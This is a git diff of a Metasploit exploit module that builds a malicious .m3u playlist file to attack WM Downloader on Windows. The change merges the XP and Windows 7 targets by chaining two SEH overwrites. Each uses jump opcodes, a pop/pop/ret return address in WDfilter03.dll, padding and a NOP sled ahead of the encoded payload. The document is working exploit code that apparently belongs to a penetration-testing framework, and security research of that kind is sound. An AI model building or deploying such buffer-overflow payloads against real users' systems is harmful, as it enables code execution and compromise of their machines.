diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb index 13aed79775..dd1fba7029 100644 --- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -1,3 +1,4 @@ + ## # $Id$ ## @@ -48,8 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Windows XP Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll - [ 'Windows 7', { 'Ret' => 0x1001060C, 'Offset' => 43504 } ], # p/p/r in WDfilter03.dll + [ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jul 28 2010', @@ -59,20 +59,24 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), ], self.class) + end def exploit - sploit = rand_text_alpha_upper(target['Offset']) - sploit << "\xeb\x16\x90\x90" # Need a little longer jump to get over some cruft - sploit << [target.ret].pack('V') + sploit = rand_text_alpha_upper(43480) # Offset for WinXP + sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset + sploit << [target.ret].pack('V') # Offset + sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset + sploit << "\xeb\x0C\x90\x90" # Jump over the cruft + sploit << [target.ret].pack('V') # Offset sploit << "\x90" * 8 sploit << payload.encoded - + print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) - + end end